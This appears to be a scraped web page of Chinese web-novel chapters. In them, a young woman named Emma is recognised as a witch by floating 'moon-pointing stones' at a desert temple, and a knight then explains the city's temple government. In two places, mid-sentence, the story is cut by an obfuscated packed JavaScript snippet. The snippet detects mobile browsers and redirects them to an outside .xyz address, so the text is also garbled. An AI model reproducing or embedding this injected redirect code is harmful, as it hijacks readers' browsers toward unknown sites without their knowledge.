她手里拿着从腰上取下的钥匙串,指尖在一把把钥匙间一弹一弹。有些钥匙的形制很特别,比如一个凹凸不平的圆球,一块方形的石头。 他们又走了一段路,最终停在一道描着月亮花纹的石门前。 “我以为您会选中央的房间。”利利提亚说。 “西北角的最近,也够用了。”德丽克丝拨了拨钥匙,挑出其中一块月亮形的石块,把它从串上取下来,正要把它按到门上对应的空缺里。 一旁墙壁上高悬着的紧闭的窗户,在德丽克丝就要开门的前一刻呼啦一声被踢了开来。厚实的窗玻璃啪地砸到墙面上,发出让人心头一震的濒临碎裂声。 也确有半扇的玻璃真的裂开了,窗框都被踢断了一道。 踢开窗户的少女一头橙红色的短发,左右手各拎着一个人,这时刚刚歇脚在窗沿上,嘴上还说着:“我就说翻墙上来肯定来得及……咦?” 少女一低头,一定睛,看见底下一片熟悉的人。 “别愣着了,哈瓦娜。”德丽克丝好笑道,“赶紧下来。算你们运气不错,赶得正正好。” 55.指月石 被叫做哈瓦娜的少女只有那么一瞬间的尴尬,很快拎着手上的同伴落了地。 她左手上的少女在路上晕了这班飞车,低头扶着眼镜寻找平衡。 另一手的女性刚落地就拍开哈瓦娜的手,整理好自己的衣领,将乱了的发丝拨到耳后,向德丽克丝行了一礼:“抱歉我来迟了,德丽克丝女士。春祭事务太多,柳德米拉女士暂时无法抽空前来,但文礼祭司这边该有人到场。处理好手上的工作花费的时间超出预期,没能更早赶到,这是我的失误。” “既然赶上了,就用不着道歉,埃尔比拉。”德丽克丝说,“你们最近确实辛苦,回去替我向柳德米拉问好。” 那边步伐摇晃的少女终于找到了平衡,第一件事就是抬头望刚刚作为进入通道的窗户,对着它打了个响指。 窗户上的裂痕立刻恢复如初,甚至回到了关闭的状态。 她按着胸口向德丽克丝行礼:“菲提大人说让我过来——因为太匆忙,没能向荷尔贝拉小姐提前回信,抱歉。” “小菲提让你过来吗?”德丽克丝意外地动了动眼睛,得到了少女肯定的答复,“辛苦了,露辛。” 那个踢窗进来,叫做哈瓦娜的少女,看见同行的同伴一个两个都先道了歉,一时有点不知道怎么开口:“我就是……从训练场过来,路有点远,按贝拉给的位置到附近的时候,正好碰上埃尔比拉姐和露辛,就……想着时间紧张,这样更快……咳,抱歉踢坏了窗户,女士。” “露辛都把窗修好了,下次道歉早点说。”德丽克丝的语气里没有责难,“这下就有五位监察骑士了。西琳做的初步检定,还有小菲提的预言。呵呵,罗伯特下棋下昏了头,非不肯过来,看来他是要后悔了。” 德丽克丝继续了被打断前要做的事,将月亮形的石块嵌进门上。 门上的纹路发出微光,两边的石门缓缓自动退开了。 “请进,艾玛小姐。”德丽克丝邀请道,“请让我们看看,你带来的是怎样的‘奇迹’?” 房间内出乎意料的明亮,墙上一扇扇巨大的窗户发出白蒙蒙的亮光,却看不到窗外的景色。 整个房间是半球形,圆形的地面上画着圈和线,艾玛不是很看得明白。圆形的房间说不上有“墙角”,墙面边缘上搁置着一些器具,上面盖着黑布。 但最引人注意的,肯定还是房间中,凭空漂浮在地面上的——数块灰色的石头。 那些石头呈不规则的菱形或锥形,分布在房间中。地上的图纹显然依据着它们的位置设计,看起来深奥而显眼,甚至用了特殊的颜料,带着浅金的微光。 乍一进入这个房间的人,大概都会以为特殊之处在于地面,是地上的法阵让这些石头凭空浮起。 但艾玛没有从那些图纹里感到魔力的流动,仿佛它们只是普通的图画。 与地面图纹的普通相反,那些看起来平平无奇的灰色石块却给了艾玛一种非常特殊的感觉。 她觉得心跳变得沉重、缓慢但有力,仿佛听见血液淌过每一根血管末梢的流动,发出轻微的震颤。 她感到一种奇异的熟悉和安心,又感到不明所以的陌生和不安。 那些不是魔法石。艾玛第一时间这么想。 它们和她曾见过的其他魔法石截然不同。 它们醒目却又普通,蕴含的能量仿佛与自然融为一体,却又在其中凸显着独特的存在感,就像是……这片空间里能量的心脏。 艾玛心头一动,想起西里斯对她描述女巫时曾用过这样的比喻。 他说,女巫就像是自然里能量的心脏。 “这些是‘指月石’。”德丽克丝向艾玛介绍道,“在阿瓦托芬自古至今的传说里,它们被认为是‘月亮的碎片’,只会被‘特殊的人’吸引。” “没有人知道指月石判定的依据,但神殿相信,指月石的指向代表着月神的意志,它们选择的人必然有利于神殿的将来。 “指月石向谁倾斜得越多,那个人就越值得神殿信任和重用。无数历史已经验证了这项传统的正确性。 “地上这些图纹用的是特殊颜料,可以消除指月石受到的多余干扰,限定它们影响和被影响的范围。我们现在还站在指月石的测量范围之外。图纹纹样本身不具有魔法效力,是天象司那边的测量师画的什么数学模型。 德丽克丝指了指墙边黑布下堆着的器械:“那边盖着的是辅助测量的器具,测验的时候,测量师会带着特殊装备消除自己对指月石的影响,量出指月石的倾斜角,他们非要把量出来的角度精确到小数点后面……哎,我是说不用认真到这地步,差那一丁点也没什么用。 “指月石对大部分人都不会做出任何反应。但神殿少部分职位上的需要,对指月石的倾斜角有硬性要求,像是主祭司和监察骑士,议会的成员选拔更是直接以指月石的指向为基准。在场的各位——当然,包括我,都可以使指月石倾斜。 “指月石向我的倾斜角是三十二度,在议会里是最大的,所以他们给了我这个‘首席’。呵呵,虽然我已经觉得很荣幸了。” 德丽克丝一笑,望向了一边的利利提亚:“主祭司的倾斜角必须在十五度以上,但我们的这一任‘神谕祭司’——能让指月石倾斜四十七度。在历任祭司之中都前所未有。过去倾斜角最大的那位‘神谕祭司’,也不过四十二度,其功绩在神殿历史上屈指可数。” “您每次这样强调,我都觉得压力很大。”利利提亚无奈道,“指月石的结果就是月神殿下的判断,我绝不辜负祂的信任。不过说‘这样的倾斜角前所未有’,只是在祭司之中而言。 “我得到的倾斜角再大,也不可能跟女巫殿下对指月石的影响同日而语。您这时候提起来,我只觉得惭愧了。” 德丽克丝哼笑一声:“跟女巫比起来,不管什么样的人都不过一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170147|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡骨。大家都一样,没什么好惭愧。” 艾玛点点头,表示大概理解了他们的介绍:“那么,你们需要我怎么做?” 德丽克丝看着她,笑了笑:“平时,这项测验需要测量师检测结果,指月石的倾斜角度啦、偏移方位啦……有些变化尽管微小,我们也都要记下来,就像是尝试着研究神明所给预言的线索。但如果是在真正的女巫面前,这些小心翼翼的揣度反而毫无意义了。 “请往前来,穿过这些指月石的空隙,走到房间正中吧。” 地面的线和圈指示了一条通往房间当中的路。艾玛打量了那些线画两眼,走上前。 房间里所有人都看着她,艾玛已经习惯这种人群焦点的目光了。她并不紧张。 不如说,她从未有过这样一种奇异的安定感,但心脏仿佛又在微微震颤。 她走过地面最外圈的那条线,踏进圆圈之中。 几乎是与此同时的,那些漂浮在原地、极缓慢地转动着的灰色的石块全都一颤。 这房间里所有人都多少会些魔法,他们全都感知到房间里的能量流动变了。而仿佛只有艾玛没有发觉。 她已经忘记了身后人群的眼光,只听见自己的心脏更加有力的搏动。 她觉得头脑有点轻飘飘的,仿佛灵魂满溢出了躯壳,好像第一次懵然醒觉世界之大,她却不对那庞大的世界感到陌生和恐惧,只好像重逢了一个很熟悉、很熟悉的朋友。 真奇怪,好像在出生二十三年之后的今天,她才头一次发现自己诞生在这个世界上一样。 艾玛完全没有看路,没有看任何东西,只是感觉牵引着她往前方走。 而周身那些指月石开始更加地颤动,加快了转速,越转越快,甚至不拘于地面图纹圈定它们的范围,指月石之间开始互相牵引,绕着房间慢慢转起圈来,灰色的表面发出一层蒙蒙的微光。 艾玛走到房间中心,停下脚步。 在她停步的那一刻,那些石块猛地一震,全部从空中坠落下去,敲击在地面上,发出“当”的声音。并不非常整齐,带着回声的波浪,参差像散开的涟漪,像一道钟声在地面敲响。 那钟鸣般的声音让艾玛从那奇异的状态里回过了神,发愣地看着斜对面那白蒙蒙的窗户。仍然什么都看不见,艾玛却觉得透过窗面看见它背后有鸟群因钟声惊起,呼啦啦地飞过天际。 而房间门前的人全都单膝跪在了她身后,就和那圈完全倾倒在地、紧贴地面、指向艾玛的指月石一样。 “欢迎您,女巫殿下。” 艾玛回过身,看见所有人都单膝跪在门前,按着胸口,垂着目光。 只有西里斯站在一旁,仿佛对这里的一切和周围人的反应都无动于衷,只是看着艾玛的背影,撞上了她回过身时的目光。 艾玛对他微笑了一下。 西里斯看着她,好一会儿,很淡地笑了笑。 56.领路 德丽克丝单膝跪在人群最前方,垂着头说:“请允许我为这份迟来的欢迎致歉。” “请起来吧。你们的行为没有什么不当。在核实我的身份之前,保持怀疑是必要的。” 艾玛走向她,弯下身扶德丽克丝起来。 随着艾玛离开检测圈,她身后贴在地上的指月石再度漂浮起来,只是它们的浮动不再像之前那样稳定,像是受到了刚才影响的余波。 听到可以起来,哈瓦娜头一个噌地抬起头,起身起了一半,才发现别人动作没自己这么快,又尴尬犹豫地在半空谨慎地顿了顿,直到同事们也开始起身,才站直了身体。 一旁看见了她动作的露辛向她投去了无语的目光。 哈瓦娜轻咳一声,当做没注意到她的眼神,目不斜视地看着艾玛,眼里的好奇却是真实的。 德丽克丝搭着艾玛的手站起身,抬头时目光明亮得接近灼热。 “您能来到这里,是整个阿瓦托芬的荣幸。”她的声音里都带上了那份热度,目光一瞬不瞬地盯着艾玛,“距离神殿的上一位月神女巫过世,至今已有两百多年。不是所有信徒都有机会得见女巫的容姿,我从前也只在传说里听过女巫的事迹……抱歉,殿下,我太激动了。” 德丽克丝松开艾玛的手,停顿几秒,才重新锐利了目光,沉思般喃喃:“天大的好事……好事,太好了。这下有很多事都得安排,会议、通告……” 她声音越来越低到自言自语,片刻后猛然回神:“您才刚来到这里,对神殿的事一定还不熟悉,是我太着急了。要考虑的事太多,我有点乱了方寸,真是不该,请您见谅。” “您太客气了。”艾玛说。 “我当不起您的敬称。”德丽克丝的神情立刻变得严肃,“没有任何人当得起女巫的敬称。” “这是我的习惯,您比我年长……” “您可以当这是信仰问题,殿下,很抱歉,我实在无法接受您对我用敬语——”德丽克丝一顿,“您或许还不理解女巫的意义,您会知道的。请直呼我的名字就好。” 艾玛做不到立刻直呼德丽克丝的名字,但对方说得很肯定。 信仰上的问题,艾玛从来是“不能理解,但尊重”,于是在行动上先尽量尊重了对方的要求。 “好的。”艾玛避开了所有敬语,用不涉及敬语的字眼简短地回话。 德丽克丝恢复了一些冷静,但目光仍然灼热得发亮。 她在心里迅速地给待办事项按轻重缓急排了序,正要开口,却在这时看见了旁边的西里斯,话音一顿:“殿下——这位是?” 西里斯得到了姗姗来迟的关注,却没说话,等着艾玛的回答。 “这是西里斯。”艾玛说,“他是我的家人。” 德丽克丝闻言微微诧异,沉着地打量了西里斯一遍:“是吗……对于您的家人,我本不该多问。但女巫对神殿来说太过重要,此后神殿所有的核心秘密都会向您开放。对您,我们当然不会有任何怀疑。但对您身边的人……我们仍然需要警惕。” 德丽克丝盯着他:“抱歉,这位先生,能否请你也接受一下指月石的考验?” 西里斯犹豫了片刻。 在他还没想好是否要接受之前,一道带笑的声音递过来,打断了他们的对话:“今天大概是不合适了,德丽克丝女士。” 说话的人是利利提亚。 在艾玛和德丽克丝交谈的时候,监察骑士们大多保持着沉默,少数低声说了两句,而利利提亚只是礼貌地看着艾玛这边,直到这时才开了口。 “女巫殿下对指月石产生的影响太过强烈。您看,它们的位置已经偏移,没有复原的迹象。我们从前没有处理这种情况的经验,不知道它们具体产生了怎样的变化。就算是这里的各位现在去测上一测,得到的倾斜角说不定都要大变样。” 利利提亚说,“把已经不准确的测试方法用在客人身上,这不太讲道理。况且,这位先生既然是女巫殿下选中的‘家人’,一定不会有问题。我相信女巫殿下。” 德丽克丝没来得及说什么,艾玛已经接上了话:“西里斯不会有问题,我可以担保。我想他不必做什么测试。” 女巫都这么说了,德丽克丝无言以对。 这怀疑确实有些刺人,艾玛感到不快也可以理解。 德丽克丝很快做出判断,果断地放弃了在这种时候掉女巫好感的行为:“也对,是我失礼了。请当我没说过吧。您旅途到此,辛苦了。 “女巫殿下莅临神殿,是轰动阿瓦托芬的大事,我们需要一些时间对此进行讨论安排。您可以先好好休息,在神殿里随便走走,也可以到处看看。这里没有您不能去的地方。” “好的,谢谢。”艾玛客气地回答。 利利提亚回头,招呼道:“哈瓦娜,过来。” 哈瓦娜正盯着这边,听到自己被点名,很快走过来,向艾玛行了非常有力的一礼。 “女巫殿下对神殿的事还不了解,需要有人做介绍。”利利提亚布置道,“你陪殿下走走吧。先带两位到主殿东楼的客房,然后通知女佣们收拾好‘女巫的房间’。” “是!”哈瓦娜先答应完,才迟半拍狐疑地反应过来,“诶,可是,利利提亚大人,我不擅长做介绍啊。这里哪一个都比我擅长吧,为什么找我?贝拉呢?” “贝拉要帮我递消息。”利利提亚说,“这里你现在最空。” 哈瓦娜大惊,很认真:“我只是今天没有巡逻的排班,而且训练也是重要的工作!” “你可以对比一下在场各位的工作内容。” 哈瓦娜沉思。 哈瓦娜点头。 哈瓦娜完全接受了。 利利提亚对她说完,向艾玛行了一礼:“很荣幸今天能见到您。但为了迎接您的到来,我也需要做好许多准备,抱歉要失陪了。希望下次能有和您进行更多谈话的机会。” 艾玛向他点头:“谢谢你今天为我们带路。” “您客气了。”利利提亚笑了笑,和他们告完别,转身对在人群最后排的荷尔贝拉说了两句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176168|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一起离开了房间。 德丽克丝看着他做完布置,也向艾玛告辞,过去和弗里蒙斯讨论了些什么,对其余监察骑士也各自做了安排。 这些人都是艾玛今天第一次见到,经过社交场的磨砺,她对于记忆第一次见面的人的相貌姓名有些心得,但人实在是有点多,还扎着堆地来。 她听不懂他们现在的谈话内容,也对此没什么兴趣。 哈瓦娜则更不关心。 她已经接手了任务,目标明确,当场执行。 进了房间后由于只是站着,西里斯把行李箱放在了一边,这时准备再次动身,他正要重新拿起它们,哈瓦娜却极其眼疾手快、动作敏捷,一步跨上前,比西里斯还早一步提起行李箱,再一步就拎着行李箱迈到了房门前,这才回头来等艾玛和西里斯,很有自己是带路人的自觉:“这边走!” 不知道她是单纯的手快反应快,还是出于礼节的客气,愣是行动出了抢行李的气势。 西里斯一时沉默,不知道该不该再特意把行李要回来。 “啊,还没自我介绍。我、我叫哈瓦娜,城市防卫部的巡防员,也是监察骑士。” 走出去一半的路,少女才猛地脚步一顿,有些不好意思地回头道。 哈瓦娜有一头橙红色的拳曲短发,肤色偏深,眼睛大而明亮。她的眉毛很重,睫毛长而密,眼角上挑,瞳孔较细,天生一副猛兽般慑人的长相,格外富有野性的生命力。 沙漠昼夜温差大,艾玛保留着旅途习惯,仍然穿着长袖,哈瓦娜的袖口却直接开到了肩膀,上衣的下摆都没盖住腰。手臂上戴着护腕,腰际挂着一把宽刀。 “你好,哈瓦娜,我叫艾玛。不用太紧张,随意点就好。”艾玛说,“我刚到神殿,对这里的事都还不熟悉,麻烦你介绍了。” “呃您太客气了……我应该的。”确认到艾玛还好说话,本就胆大的哈瓦娜放下了一点紧张,好奇的目光更试探地落到艾玛身上。 “我也从来没见过女巫……啊,这是废话。上一位女巫殿下在这里的时候,我的祖母都还没出生。那个,我不太会说话,要是哪里冒犯到您,请直接告诉我。” 艾玛点头:“好的。我对‘女巫’的事了解不多,你们的反应很大,超出我的预想。我有点好奇,你们听说的‘女巫的故事’是怎么样的?” “那很多啊!多得数不过来。在阿瓦托芬的街头小巷,我们从小就听大人们讲女巫的故事。 “女巫殿下对我们来说,就像是神话里的女神,救世主……反正就是非常非常了不起的人物。大一点之后要是学过历史,就更知道女巫殿下们为这座城市做过多了不起的事! “呃,我历史课学得不太好,那些年份我背不清,但是那些故事我超喜欢,像是只通过对视就能驯服神兽、一挥手就能造出千军万马、一个响指就让远方敌国山崩地裂之类的!” 哇,好有民间传统夸张故事的风采。 艾玛脸上微笑,心里想。这些列举出来的事离谱得她可一件都做不到。 57.住宿 真正的神兽早就消失几千年了,现在大地上只有带着神兽血脉的一些人和兽。但那种民间传闻还真是一如既往喜欢霍霍神兽的形象。 西里斯也想道,对这种传言里的水分很了解。 哈瓦娜对他们的心理活动浑然不觉,说着说着倒有点小激动:“女巫殿下就是我们的守护神!其他国家的人喜欢用‘女王’类比女巫殿下的地位,对我们其实完全不一样。 “阿瓦托芬里八成的人都是月神的信徒,女巫殿下对我们来说,就像是月神殿下的具象,神明的化身。某种程度上,甚至可以被视作神明本身!当然不一样,您对我们来说——” 哈瓦娜猛地意识到自己的语气太激昂,刹住了:“啊!我是不是太激动了,抱歉……” 艾玛安抚对方放松。 她仍然理解不了信徒的狂热,和他们在自己面前的紧张。这样的情况或许还要复现很多遍。 “您刚到的话,要了解的东西实在太多了,我真不擅长这个……哎,不知道从哪里开始讲。”哈瓦娜锁眉苦想,“啊!你们吃过午饭了吗?这个时间有点不上不下,食堂可能要关门了!” “还没吃过,不过不是很饿。”艾玛答。 “实在不好意思!那我们赶紧先到客房放好行李,我等会儿去厨房找人带点过来。” 哈瓦娜立刻加快了脚步,注意到艾玛一时没跟上她的步速,又讪讪放慢了步子,“其实,女巫殿下一直都有个房间,在主殿的主楼十层,是专为女巫殿下准备的,据说之前的每一任女巫都住在那里。在神殿没有女巫的时候,那间房间一直空置着,平时都有人打理。 “既然您到了神殿,之后肯定会去住那个房间。毕竟那里好久没人住了,还要再收拾一遍才行。在那之前,得麻烦您暂住在东楼的客房。” 哈瓦娜的目光在艾玛和西里斯之间流转了一圈,问:“那个,你们要两间客房,还是一间?” 艾玛一愣,很快明白过来:“两间。我和西里斯不是那种关系。” “啊!对不起对不起!我以为,您说‘家人’,是恋人的那种意思……”哈瓦娜很尴尬地连声道歉,不及过脑就赶紧找补,“是、是兄妹吗?” “也不是。我们没有血缘关系。”艾玛说。 “啊哈哈……确实,两位看起来长得也不太像……”哈瓦娜干笑,看艾玛不打算作进一步解释,不敢再乱问了。 艾玛想,她不是第一次被人问起和西里斯之间的关系。 如果不说一些似是而非的谎言,而要作一些更真实的描述来形容,她好像也不是很知道该从何说起。 陪着她长大的人,教过她很多东西,跟她亲近却又生疏的人。 她喜欢的人。 她完全信任的,自己选择的家人。 如果用旁观者的角度看,西里斯对她可能确实就像一位“兄长”。 艾玛很难说明白,她总想拒绝这种形容。或许因为内心深处,她拒绝保持这种定义。 艾玛看了西里斯一眼,面对哈瓦娜的误解,他也没变化什么表情。 西里斯放松的时候并不爱笑,看着很冷淡。在沙漠中向着阿瓦托芬赶路的这近一年的时间里,他的情感变化比从前更少了,大多时候都没什么表情,即便对着艾玛也是如此。 或者说,正因为对着艾玛才会如此。就像是无声而固执地拉开的距离。 艾玛收回目光,没再说话。 哈瓦娜带着他们到了主殿东楼,向管理人要来了两把客房的钥匙,又带着他们爬了三层楼。 艾玛他们的行李不多,西里斯体质特殊,本来就不会因为体力劳动而疲倦,所以一路拎着行李也无所谓。而哈瓦娜显然体力很好,这么一点负重对她全然不在话下,一气找到客房把行李放下后都不带喘一声。 她对艾玛交代了一遍自己接下来的行动安排:要去找女佣收拾“女巫的房间”;对巡防营的同僚简单做些报备;去食堂给他们打包午饭带到房间来,吃完之后再带他们一起去走走。 哈瓦娜让艾玛他们先在房间休息一会儿,保证她速去速回,绝不让他们饿着。 艾玛还没来得及嘱咐她别带太多吃的他们吃不完,哈瓦娜已然风风火火地跑出去了,瞬间就没了影子。 艾玛想,好吧,最不济就当她把晚餐……和明天的早餐都带来了。 房间里有个披着线织毯子的单人小沙发,艾玛拎起沙发上的抱枕,往沙发里一陷,把抱枕抱进怀里,屈着膝盖脱下鞋子踩在沙发沿上,埋在抱枕中长出了一口气。 哈瓦娜给了他们两把相邻客房的钥匙,放在了房间的茶几上。 西里斯拨了拨钥匙,看着艾玛放松的姿态:“这间给你,我去隔壁?” 艾玛含糊地嗯了一声。 因为只是暂住,不急着打开行李收拾。西里斯在客房里转了转,打开壁橱,找出茶具。 哈瓦娜要钥匙的时候还向管理人要了两大壶的水,也不等西里斯好意提出帮她拎一拎,就一手两个箱子一手两个壶地冲上了楼梯。 壶是保温的,茶水还有点烫。 西里斯给艾玛倒好水,叮嘱了她一句注意温度。 小沙发对面就是窗户,艾玛拨了下手指,用法术远远开了窗,风吹拂进来。 “你以前知道指月石吗?”艾玛问,因为轻微的倦意,声音懒洋洋的。 “没听说过。”西里斯拿起自己的杯子喝了口水,“我还是第一次到阿瓦托芬,对月神的神殿不太了解。你担心指月石会做出对我不利的判断?” “不想冒险。”艾玛说,“我虽然能影响到那些指月石,但没有控制它们的把握。说不定……它们并不欢迎你。在那位首席女士的面前,如果指月石拒绝你,我会很为难。好在,那位‘神谕祭司’打了圆场。” “你相信他给的理由?” “不知道。或许因为我是女巫,想卖个人情?” “那种发色很罕见,我应该见过,那是在……”西里斯看着杯里的水面,停住了声音,缓慢地皱眉,“我不喜欢那个人。” 西里斯很少做这么直接又强烈的感性结论。 艾玛诧 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她面对艾玛的邀请仍然有些局促,矜持地坐下来,拿出前所未有的规矩吃相嚼了一会儿。艾玛便一边慢慢吃一边和她聊了起来。 多年的领主不是白当的,艾玛很有谈话的技巧,她擅长于让自己当个受欢迎的听众。 哈瓦娜原本就是开朗外向的性子,只是对女巫的敬畏束住了她的手脚。 有吃有喝,氛围良好,没一会儿她就慢慢放松下来,觉得艾玛很亲切,说话也放开了。 哈瓦娜重新做了个更详细的自我介绍:她今年二十岁,出生在阿瓦托芬,算是在这里长大的“原住民”。 阿瓦托芬最早的本地居民已经很难分出来了,不断有来自世界各地的信徒和流亡者涌入这里,又在这儿定居,最后变成阿瓦托芬的“本地人”。 哈瓦娜对自己祖辈的经历不太清楚,这在这儿是寻常事。 阿瓦托芬没有“家族”,最多只有“家庭”,很难追溯太远的亲缘关系。 “阿瓦托芬的人没有姓氏。” 即便是原本有姓氏的,也必须抛弃姓氏才能在此定居。 这是女巫定下的铁规。 她认为姓氏是阶级分化的基础,让同姓氏者结成集团,异姓氏者互相排斥。 阿瓦托芬没有贵族,没有阶层,没有奴隶,只在管理这里的月神神殿当中,有着职位高低。 艾玛初听到这里,一时有点恍惚。 她出生成长在一个奴隶制的国家,曾是这制度的受害者,也做过这制度的受益者。 艾玛不是没有想象过费拉约尔斯那座城市,甚至波克奈利那整个国家,都有不再有奴隶的一天。但越深入他们的历史,越在贵族的贪婪和算计里疲惫,她就越觉得那想象的遥远。 甚至,民众们早已习惯,将那些不合理的制度划作了自己生活的一部分。 那么多人都是那些不合理的受害者,却同样在其中受益。 植株在铁槛中开花,那铁槛就成了植株的一部分。 艾玛对哈瓦娜说:“这很了不起。” 58.制度 在阿瓦托芬长大的哈瓦娜并不很理解这份赞美的重量,更不知道对她来说理所当然的“女骑士”,是艾玛曾努力争取才能得到的“合理”。 据说阿瓦托芬中女性的比例约占据了七成,女性在这里能担当任何职位,是用不着怀疑的事。 至于这压倒性的性别不均,一则因为月神的信徒中女性较多;二则,据说在阿瓦托芬出生的新生儿里,女孩就比男孩要多,人们都相信这是月神的神迹。 而作为另一种平衡,听说日神神殿所在的赫克米洛斯性别比正好相反。 人们说神殿所在之处即是神明赐福之地,这里会魔法的人比其他地方都更常见。 魔法越稀少的地方,民众越依赖男性更擅长的体力劳动,男性的社会地位也就高于女性;而在魔法越普遍的地方,男性地位越与女性等同;甚至在某些魔法浓度更高的小国,反而以女性为尊。 神殿倡导人人生而平等,不论性别,甚至摒弃了种族和曾经国别的偏见与敌视。 ——真是有如理想乡一般的地方。 艾玛忍不住这么想。 也难怪其他国家和神殿有所默契,不愿意让人宣传神殿的事迹,否则肯定要引起许多动荡,这也不是倡议和平的神殿所乐见的。 简单介绍了一下阿瓦托芬的情况后,哈瓦娜跟艾玛提起了神殿里的职位和部门。 神殿相当于阿瓦托芬这个国家的政府机构,兼立法、司法、行政于一体。 “文礼祭司”立法,管理着典礼仪式、历史编订、文化教育等范围。 “天象祭司”司法,负责着占卜观测、农牧耕作、建造维修等事项。 “神谕祭司”行政,掌握着治安巡防、外交协商、医疗研究等方面。 三位主祭司是神殿日常事务管理的最高负责人,在他们之下,有无数细分部门和大大小小的“祭司”,涉及阿瓦托芬民众生活的方方面面。 祭司在神殿内是一种常见的职级,可以视作某种职业技能资格证明。 祭司评级共分有三级,分级主要是为了评测祭司的专业能力,人尽其用,另外也会作为对祭司的升职和退休保障参考,神殿在这些方面有着相当完善的体系。 哈瓦娜出于个人兴趣爱好,八岁就加入了神殿巡防军的训练营。 她身手矫健,既有韧性又有热情,长大后很顺利地升进了巡防营,之后就在那儿工作,日常在城市里巡逻维护治安——她说阿瓦托芬的治安不错,大多时候都很闲,被抓去调解邻里纠纷的情况比较多。 偶尔有同事碰上抓贼那种用不着动嘴的活儿,他们都还要羡慕下。 被选为“监察骑士”,在她看来实在意外。 “指月石”的传说在神殿职员中早有流传,许多人对这检测又好奇又害怕,是一种想试又不想试的心理。 期待的是,如果能得到指月石的认可,既是信徒的光荣,也有利于得到更好的职位;害怕的是,指月石要是对自己一动不动,那失望伤心还好说,就怕万一—— 万一指月石对自己表现出了“斥力”,不仅不向自己倾斜,反而远离了自己,那就完了。 别说什么光荣和升职,神殿会严肃认真地考虑是否将此人流放——每年都会出几次这样的事,也是惯例中的惯例。 虽然真正信仰月神的人总觉得,只要信仰发自真心,这种事便轮不到自己头上。 但也有许多人口口声声说着绝对忠诚和冤枉被流放;即使遵循神启和预言,好事坏事仍旧轮着一起来,很多事也难有个太绝对的结论。 指月石到底以什么为依据判断,终归没有人说得清。 哈瓦娜是没想那么多的,她是没抱什么期待也没什么担心的那类,相信自己是个没有坏心的好信徒,像参加博/彩活动凑热闹那样在监察骑士选拔的时候跟着测了测,喜得头彩,指月石倾斜角三度。 不多,但已经非常让人受宠若惊。 仅这个倾斜角已经够让哈瓦娜高兴了,她后续填了点表格,在前辈指导下写了几张申请,不知怎么就得到了议会的相中,最终甚至真的选上了监察骑士。 哈瓦娜对于成为监察骑士毫无犹豫,在申请通过后义无反顾地向议会宣誓尽职,原因只有: “直属于议会的十二监察骑士”,听起来多帅啊! “监察骑士”的主要职能是协助三大主祭司的工作,直接领受主祭司和议会的调遣。本职工作仍然保留,但优先级可以靠后排。 在协助主祭司工作的同时,监察骑士也负责监督主祭司是否遵循自己的职责,有无违反神殿法令的行径。如果主祭司失职,他们有权力直接向议会提出弹劾。 十二位监察骑士,每四位被分配到一位主祭司身边。 比如哈瓦娜,她是“神谕祭司”身边的四位监察骑士之一。 然后,就要说到议会。 议会的政治地位凌驾于三位主祭司之上,但他们并不干涉神殿的日常事务管理。可以说,议会是这个国家中最大的监察和权力制约部门。 他们主要负责祭司的职位任免,对主祭司的决策进行复核,防止主祭司专权。 有时议会也会提出一些特殊意见,他们的话语在神殿之中极有分量,即使是主祭司也必须认真考虑。 议会的选拔机制极为特殊。神殿大多数职位都按照个人履历、能力、意愿等方面评选,而对于议会成员,这些重要标准仅仅是次要的参考。 评选议会成员的第一标准就是指月石的倾斜角,最终人选完全根据指月石的倾斜角度来决定。 议会共有十二席。十二席中又被分为“公开的‘前六席’”和“保密的‘后六席’”。 “前六席”的议会成员都是已经退休的神殿前职工,在退休生活之余参与着议会的工作。 他们的身份是公开的,可能你在神殿散个步喝个茶都能碰到他们。 “后六席 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“我的装置设置的三个联系人,一个是‘天象祭司’的监察骑士露辛;一个是‘文礼祭司’的监察骑士埃尔比拉;还有一个是议会‘前六席’的斐勒先生。” 哈瓦娜摸了摸后脑,“其实,作为‘神谕祭司’的监察骑士,我的三个联系人里起码该设置一个给利利提亚大人的……但是我们这边还有贝拉嘛,荷尔贝拉。虽然传讯的法术不算少见,但像贝拉那样范围大、速度快又精准的就太难得了。” 哈瓦娜从腰间的口袋里摸出一只纸鸽。 艾玛见过那样的纸鸽,利利提亚在城门前放出过这样一只鸽子。 “这是贝拉给我的传信鸽,是她的法术。”哈瓦娜把纸鸽也放进了艾玛手里,“贝拉也是‘神谕祭司’的监察骑士,因为有她在,我们这边的传讯很方便。 “她真的很可靠!就是太内向了,我和她还没怎么说过话。我总被人说太闹了,可能跟她这样的不是很处得来吧,可惜。” 哈瓦娜遗憾地摇摇头:“唔,说起来,像女巫殿下您来到阿瓦托芬这么大的事,议会肯定要召集起来开会了,不过他们开会一般不叫我。诶?没有伤感这个,我不适合那种场合,去过两次都差点睡着……咳咳。 “我是说,贝拉肯定会被叫去吧。她很适合这种工作,议会也特别信赖她。贝拉的倾斜角在监察骑士之中也是最大的十二度呢。” “我不同意!” 桌面被重重砸了一拳,震得桌面的茶杯一颤。 女人满含怒意的声音回荡在穹顶高而空旷的议事厅里,议事厅中央的圆桌边有十二把高椅,此刻坐满了一半。 荷尔贝拉站在房间一角,双手背在身后而立,垂着眼睛。另一边的监察骑士佩洛亚坐在另外添置的小桌旁写着笔记,因为这道不和谐音而停了笔,抬起眼睛。 